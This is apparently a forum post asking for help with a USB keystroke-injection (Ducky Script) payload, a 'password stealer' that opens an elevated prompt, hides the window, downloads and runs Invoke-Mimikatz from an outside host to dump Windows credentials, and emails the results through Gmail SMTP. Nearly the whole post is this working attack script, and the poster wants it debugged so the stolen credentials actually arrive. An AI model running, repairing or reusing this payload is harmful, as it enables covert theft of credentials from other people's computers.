[A question about scripting]

I am trying to add a twist on the 15 second password stealer i robot hack in which it emails the credentials instead of uploading them to a server. This is my code. I changed the email addresses and passwords for security.

DELAY 3000
REM Open an admin command prompt 
GUI r
DELAY 500
STRING powershell Start-Process cmd -Verb runAs
ENTER
DELAY 2000
ALT y
DELAY 1000
REM Obfuscate the command prompt
STRING mode con:cols=18 lines=1
ENTER
STRING color FE
ENTER
REM Download and execute Invoke Mimikatz then upload the results
STRING powershell "IEX (New-Object Net.WebClient).DownloadString('http://darren.kitchen/im.ps1');$output = Invoke-Mimikatz -DumpCreds; $output > log.txt;"
ENTER
DELAY 1500
STRING powershell
ENTER
STRING $SMTPServer = 'smtp.gmail.com'
ENTER
STRING $SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)
ENTER
STRING $SMTPInfo.EnableSsl = $true
ENTER
STRING $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('MyEmail1@gmail.com', 'MyPassword')
ENTER
STRING $ReportEmail = New-Object System.Net.Mail.MailMessage
ENTER
STRING $ReportEmail.From = 'MyEmail1@gmail.com'
ENTER
STRING $ReportEmail.To.Add('MyEmail2@gmail.com')
ENTER
STRING $ReportEmail.Subject = 'PassDump'
ENTER
STRING $ReportEmail.Body = (Get-Content Log.txt | out-string)
ENTER
STRING $SMTPInfo.Send($ReportEmail)
ENTER
DELAY 2000
STRING exit
ENTER
DELAY 500
REM Clear the Run history and exit
ENTER
STRING exit
ENTER

and in my email in-box all i got was a email that said the words "

Quote

Invoke-Mimikatz
-DumpCreds

How do I get it so it actually sends the output of Invoke-Mmikats instead of literally sending the words Invoke-Mimikatz. Thanks in advance.